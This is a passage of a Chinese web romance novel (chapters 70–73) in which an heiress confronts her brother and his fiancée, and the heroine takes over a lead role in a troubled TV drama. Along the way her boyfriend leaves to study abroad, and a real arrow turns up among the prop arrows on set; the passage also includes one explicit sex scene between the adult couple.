和媞媞这样强大勇敢的女孩相比,她的确像菟 丝子一般娇弱,遇到谁便攀附谁。 谁知,云媞面色如常地说:“你这么可爱聪明,大家不喜欢你才奇怪吧。” 明娇娇霎时耳尖发烫,翘起嘴角小声嘀咕道:“哪有你说的那么好……” 那个臭班列就对她爱答不理的。 在云媞探究的目光下,她轻咳一声,虚张声势鼓起小嘴,“我、我那便宜哥,明青阳就一直不喜欢我呀!” 话音未落,瓷器砸在地面的脆响隔着一扇门隐隐传出,紧接着是噼里啪啦的哐当声。 “明青阳!就因为打了你妹妹几巴掌,你就要和我解除婚约?!” 逯灵愤怒地指着面前男人,那张恬静姣好的面容变得扭曲。 明青阳按了按眉心,似乎不想和她过多纠缠,“我说了,与娇娇无关。经过这段时间的相处,我想我们并不合适。” “是!不合适!哪有你和明娇娇合适!” “逯灵!” 明青阳呵斥道,眼眸中满是警告。 见他发怒,逯灵却笑了。 谁能想到这段自己苦苦求来的姻缘,最后竟是这样的结局。 昔日的爱慕也化作无止尽的怨怼。 “怎么?说不得?你有什么龌龊心思,自己心里最清楚!趁着自己妹妹睡着时偷吻她,你当真是个好哥哥!” “啪!” 掌掴声打断女人越界的指控。 逯灵捂着脸,眼眶中蓄满的泪水,随着气到发抖的身子全然坠落。 “打我就能消除你的罪孽了吗?不敢正视内心,所以迫不及待地给妹妹安排联姻,逼得她只能逃到荒岛,你该庆幸她能平安回来吧!” “她证明了自己有独立生存的能力,而你呢?彻头彻尾的懦夫!喜欢自己亲妹妹的变态!” 逯灵发疯似的冲上前,狠狠锤打他,“想让我闭嘴,想让我永远替你保守秘密,那就不要这样肆无忌惮地对待我!” 钳住她挥动的手腕,明青阳神情淡漠地说:“既然知道娇娇对我的重要性,为何屡屡针对她?我的妻子谁都可以当,但妹妹,只有她一个。” 说来说去,还是因为明娇娇。 逯灵踉跄后退几步,失魂落魄转身。 大门“砰”得一声,被人从外推开。 明娇娇一脸震惊地站在门外。 也不知道她听去了多少。 明青阳瞳孔微颤,一向漠然冷静的表情开始变得慌乱,“娇娇……” “别怕,想说什么说什么。” 云媞低声耳语,“他俩加起来都打不过我。” 本来撞见这等腌臜事,明娇娇心底既恐慌又难堪,结果云媞冒出这么实在的一句话,让她对自己的怀疑顺理成章变成了对他人的愤怒。 “所以你一直逼我联姻,说是为了保护我,实际只是想逃避自己内心的煎熬?” 明娇娇怔怔看向明青阳。 “不是……” 没有给对方解释的机会,她一副看神经病的眼神瞪他,“你的错为什么要我替你买单?订婚那么久不结,你在等什么?等着看你未婚妻怎么捉弄我吗?别跟我说,之前她对我做的那些事,你毫不知情!” 骂完明青阳,她转头接着骂逯灵。 “不是,你有病吧?他喜欢我又不是我喜欢他,你不折磨他,把气全撒在我身上,我招谁惹谁了?冤有头债有主,求你别再当个二百五!” “真当生活是演戏了?演复仇剧恶女演上瘾了是吧?能不能把你那破小说短剧软件给卸了!” 围绕在明娇娇身边的煤气灯悉数破裂。 摆脱言语的操纵,她才开始看清自己。 一直以来,她对自己的认知,来自周围人的描述。 别人说她乖巧懂事,说她娇气脆弱,她便以为自己就是这样。 参加那档求生综艺是她这么多年以来,做过的最离经叛道的事情。 在《问鼎荒原》里,从始至终她都将别人口中的人设维持得极好。 即使后来知晓明青阳对自己的心思,她也不敢置喙任何人,反而觉得愧对叶玄。 今天由她亲口说出的那些话,其实在原书中,是叶玄“英雄救美、怒怼渣滓”的名场面之一。 云媞兀自笑了。 果然,这些话,还是女孩子自己说出来更有力量。 “还笑还笑!” 明娇娇刚从战斗状态脱离,卸了力一般,毫无形象地蹲下来,“你都不懂得心疼人的。” 夜晚的庭院宁静祥和。 远处,宴会厅灯火通明,人影攒动。 乐池悠扬的弦乐四重奏隐入晚风中,与刚才激昂顿挫的争吵形成强烈对比。 明娇娇也忍不住笑出声。 “其实我一点也不喜欢白色公主裙,也不喜欢娇娇这个名字。” “那就脱掉。改名。”云媞言简意赅。 她手指草坪,顺时针转动几圈,“或许,你可以在上面尽情打滚,让它变成青草的颜色,灰尘的颜色,泥土的颜色。” 明娇娇仰头,静静看向云媞,“我发现,你可能是大自然的诗人。” 破罐子破摔般躺倒在地,顺势滚了好几圈,直到身上这件价值不菲的纯白礼服脏乱不堪。 明娇娇侧了个身,背对云媞,声音闷闷的,带着愧疚,“媞媞,对不起……” 她一开始亲近云媞,是利用,就像利用叶玄那样。 孤身前往荒岛,明娇娇想向家人证明自己不假,但她深知危险重重,只能先攀附后独立。 起初,她看中强大刚毅且相对熟悉的叶玄,但内心其实并不喜欢对方骨子里透出的大男子主义。 随着云媞展露实力,甚至不计前嫌飞车救下自己,她当即意识到,可以转投“新的宿主”了。 直到雨林那夜,差点命丧森蚺之口,明娇娇才真正觉醒。 她一直不敢向对方袒露这些阴暗的秘密,她害怕失去云媞。 明娇娇垂下脑袋,忍不住抽泣一声,“我很糟糕吧……我、还配做媞媞的朋友吗?” 随之而来的不是唾弃,也并非责怪,而是一只温热的手。 云媞轻拍明娇娇的头顶,思忖片刻,认真说:“你懂得无能为力时如何自保,说明,你是个聪明的女孩。” “况且你只是借力而已,就算是植物和动物也会借自然界的力,让自己更好地生存下来,这又有什么错呢?” 明娇娇愣怔数秒,突然拽住云媞的手腕,“你缺女朋友吗?可以一夫一妻吗?” 看着对方茫然但似乎在考虑可行性的严肃表情,她破涕而笑,“算了,我怕被黎小少爷追杀,他现在应该比我还抓狂……” “话说,媞媞为什么不陪我一起滚草坪?刚才说的话,是不是都只是安慰我的!”明娇娇倏地直起身。 云媞摇头婉拒:“不了,新买的衣服很贵的。” “啊?就你的贵,我的难道就不贵了吗!” …… 二十一岁的生日宴,盛大且荒唐。 却是明娇娇会永远铭记的一天。 像是从循规蹈矩的框架中逃了出来,摘下舞会的假面,撕掉社会赋予的标签。 那本以她命名的书页开始翻动了。 与此同时,黎星言也快将路之舟的私信框翻烂了。 想到自己曾跟这曹贼“倾囊相授”,他恨不得扇自己几巴掌,再把对方掐死。 被全面拉黑的黎星言,最后将电话拨到路之舟经纪人那里,再由经纪人转接给他本人。 “竟然敢先拉黑我?真给你脸了是吧!说清楚,你是不是早就盯上了媞媞,所以才故意问那些问题试探我!” 电话那头震感强烈。 经纪人提心吊胆,看到自家金疙瘩艺人脸上青一块紫一块,也不敢多话。 路之舟摆了摆手,示意他先出去。 半晌,他神色淡然地坐在露天躺椅上,点燃一支烟,“不管你信不信,我也是才知道媞媞是你女朋友。” “媞媞?”黎星言陡然提高音量,“媞媞也是你能叫的吗!” 聒噪得很。 电脑屏幕上,《生存者游戏》的直播集锦仍在播放,于黑夜中闪出繁杂的光线。 从回来后,路之舟就一直在看,连着几个小时未停歇。 他渐渐能 在直播里,认全今天宴会上见到的那几个人。 在黎星言愤怒暴起时,拦下他说“冷静”,实则暗中给了自己一肘击的,是夺冠热门叶玄。 关切地问“路老师,你没事吧”,实则狠狠踩了自己一脚的,是爱耍滑头的搞笑男贺君卓。 直接撸袖子开干的大块头是崔达,拉住他却默默朝自己翻白眼的是苏简…… 更不用提那个浑身散发着黑气,一脸痞相的寸头黑皮男。 他当时直接拉开黎星言,说“你别动,受伤了姐姐又要怪我”,随后一言不发一脚将自己踹飞。 “我姐姐的伴侣,就算不是黎星言,也轮不到你。” …… 老实说,长这么大,路之舟还是第一次如此狼狈。 但他却只觉得羡慕。 羡慕黎星言竟然真的拥有了一群好伙伴,更羡慕的是,他和云媞经历了那么多惊险瑰丽的故事,还如愿以偿抱得美人归。 羡慕到嫉妒。 这人怎么就这么好命。 不过…… “你能守得住她吗?” 指尖的烟头猩红明灭,路之舟缓缓吸了一口,青白色的烟雾模糊他的面目,“你其实也很没有把握吧,所以才会如此愤怒。” 黎星言一时哽住。 这半分钟的沉默,让路之舟兀地轻笑,他眯着眼摁灭烟蒂,“安心上学去吧,黎小少爷,女朋友我会替你好好照顾的。” “感谢你的教导,很有用。”—— 作者有话说:黎少:啊!西八呀! 乱成一锅粥了,快趁热喝了吧!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 黎星言开学倒计时第三天。 《无渡》剧组停工了。 逯灵单方面宣布退组,并在社交平台发长文表示:因长期醉心工作而身体抱恙,决定暂停所有拍摄行程,向所有工作人员及粉丝朋友们诚挚致歉。 至于最近网上很火的争议:云媞捧明娇娇脸那张神图,背后故事是逯灵在片场狂扇明娇娇巴掌,导致对方情绪崩溃。 逯灵方并未对此做出明确回应。 但很快又有消息传出:逯灵与明青阳已解除婚约,豪门梦碎。 网友们将这几件事联系起来,自动生成了一场狗血大戏:逯灵因被退婚而滋生怨恨,于是借用搭戏便利,阴暗报复前未婚夫的妹妹。 虽然因果关系有偏差,但不得不说,聪明的网友们竟也猜对了一大半内情。 小可怜明娇娇越发惹人怜爱,后台粉丝数一夜激增几十万。 曾经被逯灵欺负过的替身群演们,也伺机跳出来揭露她的恶行。 自然有墙倒众人推、蹭热度的,真真假假,谁也说不清。 逯灵的粉丝们还没来得及遗憾不舍女神半退圈,就被汹涌袭来的谩骂淹没了。 【老巫婆也别暂停事业了,直接退圈吧你!】 【果然,演员会和他们演的第一个大爆角色命运共振。这姐也真是恶女味腌入味了。】 【逯视后:你们之前说我这么温柔端庄的神女,竟然能演反差感这么强的角色。都夸我演技好,没想到吧!我其实是本色出演!】 【我一朋友在无渡剧组打杂,听说明娇娇被老巫婆扇哭之后,媞姐指导逯灵打戏,对方突然情绪失控、片场大发疯,之后就老实了很多……(嘘,不知真假,大家随便听听,不信也别骂我,媞姐附体!)】 【血脉压制,这很媞姐了……】 【这很媞姐了+1】 【这很媞姐了+2】 …… 恶人行径被拆穿、无数安慰和支持围绕身周,明娇娇感到扬眉吐气的同时,隐隐有些不安。 她担心逯灵狗急跳墙,将明青阳那事全抖出来。 虽内心对便宜哥和渣爹颇为不齿,但她不想来之不易的完整家庭,又因此分崩离析。 听完明娇娇的顾虑,云媞表示:“不会。” 那天逯灵被当面痛骂后,身体里那股奇怪的味道像被飓风吹散一般,淡了许多。 “为什么?”明娇娇不解。 “因为,”云媞思索数秒,“或许,她也没那么无药可救?” 几个小时后,明娇娇收到逯灵的短信。 【明娇娇,对不起。我也不知道为什么,每次见到他,就会变得越来越不像自己,更不知道为什么那种难以控制的负面情绪,总会莫名其妙发泄到你身上。似乎真如你所言,我变成了小说里的恶毒女配,但不管你信与否,这并非我本愿。谢谢你,将我骂醒,为我此前的所作所为向你道歉,不奢求你的原谅,祝你往后星途璀璨、生活美满。——逯灵】 “你叫娇娇?青阳的妹妹,对吗?小姑娘真漂亮。” “我叫逯灵,你可以叫我灵姐姐,说不定以后我会成为你嫂嫂呢。” “娇娇,想进娱乐圈就放心大胆地进,有姐姐我替你保驾护航呢,别怕!” “这个包很衬你,收下吧,不用跟姐姐客气。” …… 过往种种浮现眼前。 明娇娇陡然想起来,原来,她们也并非一开始就势同水火。 沉默许久,她终究没有回复- 开拍以来,剧组便接连突发状况。 现在倒好,女主直接深陷丑闻、毁约罢演。 一旦开机就没有回头路,收多少违约金也换不来一个各方面合适的女主演,等重新选好角,损失只怕过于惨重。 许彦青当天就跑去庙里烧香拜佛,去去晦气的同时,求大师指点迷津。 根据抽中的签文,大师模棱两可地表示“峰回路转,贵人就在眼前”。 许彦青百思不得其解:我贵人都跑路了,哪来的眼前,是我眼瞎了吗? 直到明娇娇在风口浪尖发了一条微博,放出一张和云媞录制综艺时的合影。 广袤无垠的草原,两人侧对镜头站着,头顶璀璨的星空,脚踩深蓝的地平线。 云媞似乎在凝视远处的金合欢树,明娇娇却望着她的背影。 【明娇娇V】你才是我最耀眼的天狼星。 底下评论炸开了锅。 【妈妈!故乡的百合花开了!是示爱吧!这绝对是示爱吧!明娇娇你究竟什么时候把中药换成咖啡了?】 【啊啊啊啊磕拉了!许导,给你提个建议,现在只有让云媞顶某人的角色,才能挽救你岌岌可危的倒霉剧组了】 【楼上天才啊,让这俩演冷漠人机女杀手和白切黑娇气公主,不敢想这要是拍出来了,得有多好磕……反正是双女主嘿嘿嘿朕允了!】 …… 上万人涌入《无渡》官博,跪求让云媞救场。 【你只管拍,无论云媞演成什么样,我们自会溺爱】 【非科班没演技不要紧,就冲她俩,拍成屎我高低也得尝尝咸淡!】 认真逛完评论区,许彦青茅塞顿开。 嚯,原来贵人真在眼前!- 三顾茅庐,登门求请。 许彦青心甘情愿将姿态放到从业以来的最低点。 原先,他对云媞的态度属于“瘟神避让”,现在只剩“上神膜拜”。 但云媞并不想演戏,她不想被人当猴一样围观,更理解不了人类那么充沛的感情。 叫她即哭即笑,不如让她即打即杀。 一切谈不妥的合作,皆源于财力不足。 当许导将单集片酬提到超一线明星的水平后,云媞才意识到“狗都不干武替”这句话的真谛。 原来,明星的钱这么好赚。 再不接受,多少有点装了。 经贺君卓的审核把关后,云媞松口点头。 几个编剧连夜对剧本做了微调。 新剧本发到云媞手上时,最先崩溃的是黎星言。 “明娇娇是不是收买编剧,夹带私货了!俩女主有必要打着打着,打到床上吗?不是!这合理吗?这和男女主脚一滑,转了个圈嘴就亲到一块儿有什么区别!” 云媞想了想,“区别在于没亲嘴。” 黎星言:……我这嘴是真欠抽啊。 “还有,为什么双女主剧非要有个镶边男主,什么‘我愿做你最 锋利的剑,做你最忠诚的狗,做伴你一生的影子’,好恶心的台词!这是人能说出来的话吗?” 云媞抬眸:“你不愿意做吗?” 黎星言:“我愿意。” 心比脑快,嘴比心快。 手边的剧本拿了放,放了拿,最后被黎星言气鼓鼓地压在身下。 “真的要演吗?媞媞……” 耍赖皮似的在床边滚了一圈,他单手将云媞搂腰压下,决定开始使用“美男计”。 云媞推开他的脑袋,不为所动,“他们给的钱太多了。” “我可以给更多!” “现在那些是你父母的,不是你的。” 对于云媞来说,人类世界的金钱就像动物界的猎物,需要自己捕食得来,若自身缺乏猎食能力,有再多储备粮也会坐吃山空。 不过……伴侣之间的资源倒是可以共享。 “当演员都那么赚钱,当导演肯定赚的更多,”云媞瞥向他,“你不是要做导演么?好好学习,以后肯定也可以挣很多。” 养家的使命感油然而生,黎星言狠狠点头,“会的!我的都是媞媞的!” 斗志昂扬不过一分钟,他郁闷地哀嚎道:“不想出国!不想上学!为什么当初要选择留学……” 一想到路之舟那王八蛋说的“安心上学去吧,女朋友我会替你好好照顾”,黎星言便如坐针毡、如鲠在喉、如芒在背。 离得近,还可以每天守着云媞。 可偏偏这个节骨眼,情敌都蹬鼻子上脸了,他却马上就要飞往上万公里以外的异国求学。 以后想见面,坐私人飞机往返也得几十个小时。 即将开启最挑战情侣感情的异国恋,他心里一点谱也没有。 但再多烦闷,只能憋着,他怕惹媞媞生厌。 黎星言将脸埋进云媞胸口,环住她腰身的手劲越发收紧,“媞媞,你现在最喜欢的还是我,对吗?” 他没法保证媞媞往后不会变心,便只能牢牢抓住当下。 祈求她的爱能在自己身上停留得更久、更久一些。 云媞轻笑一声,握着他的手缓缓下移。 “它正在替我回答。” …… 出于肌肉记忆一般,白皙指尖在蜜池表面轻点。 拨云见日,涟漪晕开。 一张一弛,柔波拍浪,卷起千层海。 在这座海岛。 鸟儿婉转啼鸣,小兽低声哼吟。 帆船撑起,在柔和的海面轻荡,白浪拍打船身时,咿呀作响。 被水渍溅了一脸,黎星言却甘之如饴地将脸埋得更深,如久旱逢甘霖,舌尖奋力吮吸着,不肯漏掉一滴春液。 云媞轻拽他的发根,迫使对方仰起头。 像被打断进食的小猫,黎星言眼底一片迷蒙,喉间却下意识吞咽。 将这张意犹未尽的精致脸蛋欣赏片刻,云媞忍不住亲了亲他的鼻尖,“真漂亮。” 黎星言的眼睛亮了亮,像收到某种指令。 他翻身躺平,双手扶住云媞的臀腰,让她坐到自己肩上。 仿佛在仰望神明,“不仅漂亮,或许也更好用。” 指了指自己挺拔的鼻梁,黎星言红着脸,说出完全不同于这副纯情表情的话,“纯天然的,很方便磨。” “媞媞,要不要用……” 话音未落,与春风撞个满面—— 作者有话说:谁懂“拨云见日”这个词的贴合程度…… 另外,突然感觉这俩小学鸡好像野人,既单纯又原始,真正的没羞没臊身心契合…… 第72章 《无渡》剧组重新开机。 雷厉风行的换角速度,普天同庆的西皮粉狂欢。 只有处于假期最后一天的黎星言满脸阴霾。 从早上跟云媞来剧组探班开始,他就挂着张臭脸,坐在许导旁边。 起初,许彦青还笑着向黎少询问黎冉近况并代问好。后来发现对方跟被人挖了祖坟似的,一脸生人勿近。 于是,他也跟着提心吊胆起来,以为黎少是因自己与云媞之前的纠纷而怀恨在心,特地前来帮女友坐镇撑场。 “黎少,您放心,现在云媞就是我们全剧组的救命恩人,绝对没人敢怠慢……” 见对方不为所动,许彦青内心七上八下,“您要心里不舒坦,有什么诉求,只管说……” 黎星言闻言扭头,面无表情地说:“能让我演云媞的忠犬官配吗?” “啊?” 许彦青还未反应过来,紧接着又听他慢悠悠补充一句:“不然,就明娇娇那角色也行。” “你说,白切黑公主其实是为了在夺嫡之争中自保,而男扮女装、韬光养晦的皇子,也挺有新意吧……” 许彦青“嘶”了一声,战术后仰- 当然,这只是几句玩笑话。 作为同行,黎星言自然不会强改别人剧本。 他明明可以要求许彦青删减与云媞有关的感情线,直接让那些惹他眼红和不爽的剧情消失。 但他没有这么想过。 黎星言深知艺术创作的艰辛,好剧组的每句台词和场景,都得经过无数幕后工作人员的打磨和编排。 更何况,不可或缺的感情线,是构成角色魅力的分子。 或许媞媞能在演戏中,体悟更多丰富的人类情感,他希望她能从中玩得开心。 想得倒是挺大度,但让妻奴黎小少爷真按耐内心的嫉妒,并不简单。 今天上午的戏,是云媞饰演的女侠客与忠犬年下男主的相识过程。 少女家破人亡后,跟着师父隐姓埋名逃到小山村,意外救下一个重伤少年。两人青梅竹马,一同跟着师父习武。 师父去世,少女决心独自寻找仇敌,替父母报仇。 死心眼的阴湿男主一路相随,即使无数次被女主抛弃、暴揍、鞭棍伺候,依旧不离不弃。 “漂亮!这套动作非常干净利落!” 对于云媞的武打炫技部分,许导一向赞不绝口。 但到了对手戏,就比较头疼了。 “要不,稍微带一点点感情?” 忍不住扣了扣头皮,曾经的暴躁许导,在云媞面前就像个新兵蛋子,“怎么说也是你朝夕相处数年的小竹马,不能揍他真像揍死肉一样。” “诶,对,用力踩下去,那边阿展眼神戏很好啊,镜头再拉近些……” 云媞抬脚踩到对面男演员文展的胸口,按照台词,一板一眼地说:“别再跟着我,否则我会杀了你。” 对方仰头看她,那双湿漉漉的狗狗眼中满是痴狂,“死了,我也会缠着你。” …… 黎星言坐不住了,又怕影响现场拍摄,急得在角落直打转,“不是,这是正经剧吗?” “正不正经不知道,反正还挺带感。” 刚来不久的贺君卓满脸姨母笑,看得正起劲,“这新人男演员还真不错啊,以前咋都没见过,演技好长得还帅,感觉演完这部剧,至少也得小爆。” “也不得看和他搭戏的是谁啊,让我演,我能演的比他更好!” 看着黎小少爷扭曲到红温的脸蛋,贺君卓啧啧两声,“你?不行。” “就怕媞姐踩你脸,给你踩爽了直接舔上去,到时候可真就变成不正经剧了……” 说完,赶在黎星言的巴掌呼过来之前,贺君卓倏地弹开,嬉皮笑脸地跑去迎接下戏的云媞。 “媞姐,不错嘛,进步很大!” 贺君卓将养生茶递过去,闭着眼睛开吹,“照这个势头,看来我很快就能被你push成金牌经纪人了!” 云媞顺手接过,“那是因为没有下降的空间。” 原来人类说的“钱难赚屎难吃”是真的,她现在已经触底了。 她抿了一小口茶,坐到一侧,开始观摩明娇娇演戏。 作武指时,云媞只负责和其他指导编排打戏和走位,教其他演员动作戏怎么打,拍出来更流畅利落且具有观赏性。 这是她得心应手的部分。 但做演员不一样,她需要将自己代入进角色,做到 对这个角色的身份认同。 豹豹媞本人都还处于模仿人类的阶段,直接越级去演绎另一个虚拟人物,属实超纲。 不过,越有挑战性,越能激发她的学习激情。 正在帮云媞捶背按腿的黎星言,也被她这种认真进取的态度感染。 暗自下定决心,返校后一定业精于勤、笃学不倦,狠狠惊艳媞媞。 颅内高潮的黎小少爷,已经幻想起云媞抱着自己,满脸崇拜地说:“言言,你才不是养尊处优、不学无术、自不量力、嚣张跋扈……什么都比不上叶玄的无能草包一个,你是全世界最好最优秀的男人。恭喜你,配得上我了!我只会专心爱你一个人!” “你在傻笑什么?” 云媞冷漠无情的声音,打断黎星言的幻想。 “黎导也在脑中开拍小剧场呢,”贺君卓笑得一脸鸡贼,“这次总该当上一把男主演了吧……” “贺君卓!” 黎星言恼羞成怒,恨不得将他那张碎嘴缝起来。 听不懂他们的加密通话,云媞淡淡瞥了一眼,继续从片场观摩中学习- 有黎少在,整个剧组升格最显著的,是餐食水平。 拿人手短吃人嘴短。 黎星言不仅正大光明表示了自己在云媞那儿的“正宫地位”,更在全剧组好评如潮,收获不少人脉和眼线。 「帮黎少盯住那些试图勾引媞姐的可疑男人,从别的剧组过来探班的男人,更是疑上加疑。」 黎星言虽没明确指示,但很显然,聪明的人已经自行领会到了。 守了一天,曹贼路之舟也没有过来撞枪口。 自从他们打完那通电话,所有联系方式拉黑,两人似乎就从彼此的世界消失了。 搞得黎星言有一种,防空警报叫了几天,出门发现外面根本无事发生的破防感。 不过,路之舟的正面决战没等来,其他虾兵蟹将倒是不少。 夜戏收工。 贺君卓先行去另一片场接班列下班。 他俩现在合租一间大房子,一方面是为了工作方便,另一方面,贺君卓要不拦住他,班列那傻直男真的会大摇大摆住进黎星言家。 黎星言和云媞觉得没什么,但老父亲贺君卓可不能让这种反人类的事情发生。 既不能去打扰小情侣的独处时光,也不要让傻孩子落人口舌。 所以,最好的办法,就是他俩单身汉合租。 经过一段时间的磨合,现在俩人关系反而比在荒岛时更亲近。 嗯,贺君卓单方面认为。 夜色渐深。 将车从停车场开出来,黎星言等了一会儿。 云媞和明娇娇正一同走出片场。 明娇娇亲昵挽着云媞的胳膊,难舍难分地凑在耳边说悄悄话。 几分钟后,她才挥了挥手,蹦蹦跳跳上了保姆车。 黎星言正要开门下车。 云媞身后又跑过来一个清瘦男人,是饰演镶边男主的文展。 他戏服都没来得及脱,喘着粗气掏出手机,倾身说了什么,一脸腼腆的表情。 只见下一秒,云媞也拿出手机。 “嘟!嘟嘟!” 黎星言猛拍车喇叭,随即闪了闪车灯。 对面两人同时望过来。 文展眯起眼,看清车内人后,礼貌地鞠了一躬。 然后举着手机,大大方方朝云媞挥手道别,笑得少年气十足。 “云媞姐,明天见!”- “明~天~见~” 黎星言阴阳怪气气气气气气。 可是他明天就要和媞媞分离了。真的好气。 气成河豚的黎小少爷仍要乖乖替老婆扣好安全带,“他加你微信了?” “嗯。” “刚说啥了?那男的有必要凑那么近吗?” 黎星言右手按住胸口,学着文展大喘气的样子,“还故意那么喘,他在跳popping振胸动作吗?” 他模仿的样子实在过于滑稽,云媞忍不住笑了,“可能是因为……他刚拍完一场打戏?” “你还帮他说话!” 黎星言不干了,基于前车之鉴,他义正言辞道:“你不许和他在网上聊天!” “好。”? 诶?答应的这么快? 这下反倒给黎星言整不会了,他顿了顿,又试探性说:“你也不要和其他男人走得太近……” “好。” “……不要对他们笑。现在男人都普信得很,你朝他们笑笑,他们就会单方面以为谈上了……” “好。” “怎么什么都说好?” 黎星言瞪大眼睛,“不会是看我要走了,敷衍糊弄我的吧?” “那……”云媞眨眨眼,顺着他的话说,“那不好?” “好好好,必须得好!” 黎星言撒娇般把身体扭成麻花,歪着脑袋在云媞肩上蹭来蹭去,“就算媞宝宝是骗我的,我也开心。” “痒了就去洗澡。” 云媞用手垫住他的脑袋,一把推开,“他刚才说,他看过那档综艺,很喜欢我俩,希望我们能永远幸福。” 黎星言宕机数秒,才反应过来“他”指的是文展。 不会吧,这人这么实诚?这么晚了特地跑来祝福他们? 患有严重“被抢老婆妄想症”的小心眼黎星言,自觉将文展的话“还原”成一句下马威:「黎吧啦,听说你很有名?我很喜欢你老婆,至于你?呵呵,我祝你们幸福:-)」 绿茶男!高级绿茶男! 不行,他不能再坐以待毙。 黎星言兀地坐直身体,一脸严肃地看向云媞,“媞媞,我之前一直没有告诉你,人类世界的雄性非常狡猾又卑鄙,你千万不能被他们迷惑了!” “现在我得教你怎么分辨那些不怀好意的男人,拒绝他们的搭讪!” 云媞好整以暇挑了挑眉,示意他继续说。 轻咳一声,黎星言竖起食指,“假装现在你独自一人在路上,有陌生男人前来搭讪,也就是我扮演的这个人。请听题。” “嗨美女,一个人啊?”黎星言谄媚挥手。 云媞点头,“嗨帅哥。” “不儿?这就帅哥了?!这是个轻浮的猥琐男!看清楚了吗你!” 话音未落,云媞捧住他脸颊,左右端详,“看清楚了啊,这不挺帅的嘛?哪里猥琐了?” 黎星言愣怔一瞬,被一句话钓成翘嘴,还要佯装严肃地按下她的手,“脱离语境回答错误!而且……禁止调戏演员,再来!” “哈喽美女,” 为了防止对方故技重施,黎星言瞪了瞪,接着出题,“一个人在这儿,是在等谁吗?” “等男朋友。” 很好很好。 黎星言露出满意的神色,继续演,“天呐!等很久了吧,这么热的天,你男朋友竟然忍心让你一个人在外面等,如果我是你男朋友,绝对不会迟到。” 他低眉顺眼,面带怜惜,“不仅不会迟到,我还会提前包场一家咖啡厅,为你点上店内的招牌咖啡和甜点小吃。当然,如果你愿意的话,我们可以现在就去……” “好啊!那家店有炸鸡吗?”云媞两眼放光。 “还炸鸡!这是绿茶男的圈套!你怎么能直接跟着去呢?” 黎星言瞬间崩溃,“而且,万一他对你图谋不轨,在咖啡里下药……” “他打不过我,”云媞扬了扬下巴,“再说了,我闻得出来。” 好有道理…… 但,情敌的阴招防不胜防啊,特别是绿茶男!最擅长蛊惑人心! 完了,越试越挫败。 老婆被人勾走,只是时间问题。 要是再来个人像他那样,死皮赖脸、又争又抢…… 黎星言垂头丧气地撇开脸。 突然,一道清脆温和的声音说:“我有男朋友了。是我来早了,不是他迟到了。我不爱喝咖啡也不想吃甜点炸鸡。你不要和我说话,他很爱吃醋,看到会不高兴的。别再跟着我,不然我会打得你满地找牙。”!!! 黎星言倏地转头,眼睛亮亮的,疑似闪着泪花,“媞媞……” “爱哭鬼。” 云媞凑上前,亲亲他的嘴角,“只是出国读书而已,就像你说的,我们每天都可以视频聊天啊。” 鼻尖相抵,气息交缠。 “我没那么容易爱上别人的,放心吧。” 原来媞媞都知道…… 所有的焦虑和不安,在此刻都被爱人的话语抚平。 两人紧紧相拥,直到片场最后一缕灯光熄灭,才驱车离去。 良久。 黎星言停车的私人场地,一辆黑色迈巴赫陡然亮起车灯。 驾驶座的男人抬眸,望着他们离开的方向若有所思。 那双灰蓝色的眸子,闪烁着狩猎的兴奋。 第73章 第二天一早。 送走哭哭啼啼的黎小少爷,云媞才发现,世界原来这么安静。 安静得像回到了塞伦盖蒂草原,那颗熟悉的金合欢树不见了,只剩四面八方的风在耳畔回响。 不过,这种不适并未持续多久。 新的喧嚣开始了。 《无渡》剧组。 几天的拍摄后,许彦青能明显感觉到云媞的进步。 她也许不是有天分的演员,但绝对是不服输的学徒。 找不准何种场景该用何种状态和情绪,云媞便在休息时静静坐着观察,捕捉其他人细致入微的神情,然后分门别类,移植式地模仿。 这种办法虽原始,但比较有效。 再加上,云媞饰演的那个角色本就比较人机,承担更多的是武打戏份,很少有大开大合的情绪、大起大落的冲突,只需在面瘫脸上偶尔加点微表情,就够用了。 拍摄渐入佳境,剧也未播先红。 许彦青越发相信云媞就是自己的贵人。 今天转场有一场吊威亚的戏。 故意晃到云媞身边时,许彦青神情有些不自在地说:“放心,不会有问题,都是专业的。” 见对方看过来,他兀自挺直腰板,“那什么,我以前确实有点年轻气盛、恃才放旷,谁都不放在眼里,但这几年其实……我这脾气已经好很多了。” 受了点挫,生了场大病,开始在庙里吃斋念佛、修身养性,许彦青渐渐明白一个道理:爱出者爱返,福往者福来。别为难自己,更别刁难他人。 他想对云媞说:没有再发生过组内武替或群演受伤、被压榨的情况。 但这么说有种“此地无银三百两”的嫌疑。 正犹豫着,云媞已经在工作人员指导下扣好了锁扣。 不知道许彦青嘀嘀咕咕在说些什么,她有点嫌弃地推他:“回你座位上去吧,挡住我看走位了。” 一旁观摩的明娇娇也笑,“回来吧许导,您别打扰媞媞对戏,就是最大的相安无事。” “啊?哦。” 许彦青无措地摸了摸鼻尖。 莫名有一种渣爹年轻时家暴,对孩子拳打脚踢,等孩子长大成材、前途无限时,又追悔莫及、求儿养老,结果等待自己的却是一大把年纪被子女们厌弃。 要想修复关系……任重道远啊。 重新坐到大监前,看着显示屏上准备就绪的云媞,许彦青顿了顿,抬起对讲机:“action!” 黑衣刺客的匕首寒光乍现。 云媞右滑步侧身,左掌劈击腕骨。金属坠地声未落,她已抬腿借力,踏着对手胸腹凌空横扫。 满地落叶霎时震起,对面数人应声倒地。 “很好,后面群演上,威亚准备。” 威亚机绞盘疾转,钢丝嗡鸣骤响。 古色古香的院落中央,云媞脚踏屋瓦凌空飞渡。腰间的威亚顿时绷如满弓,身形也借势纵跃数丈高。 她挥动手臂,剑锋朝镜头直劈。 高空凝滞的片瞬间,隐在暗处的黑衣群演们挽弓齐射。 铁箭本该擦背而过钉入梁柱,但云媞突然察觉到一道不属于道具箭的寒气。 一支真箭混在道具之中。 就在飞矢轨迹偏离原定路线,即将直射胸口,云媞下腰旋身,堪堪避开。 许彦青蹙眉。 他看出最后这个动作并不在原先设计之内。 手边对讲机拿起,又放下。 算了,反正也不突兀,可能是临时发挥吧,挺好。 最后一个镜头是大全景。 险中暗箭的女侠客飞檐走壁,从屋顶凌空跃下,霎时消失于无痕。 “云媞老师,您那边可以了吗?” 负责对接的导演助理在屋下高声询问。 云媞收回巡视的目光,又看了眼瓦片上遗落的那支真箭。 不知是道具组的失误,还是有人故意为之。 她沉思数秒,眯着眼望了望头顶的吊车,随即朝工作人员点头示意。 来吧。 按照提前规划的走位,云媞鞋尖轻点,借着威亚的推力,像迅捷灵巧的豹子,在空中划出一道极具力量与美感的流线。 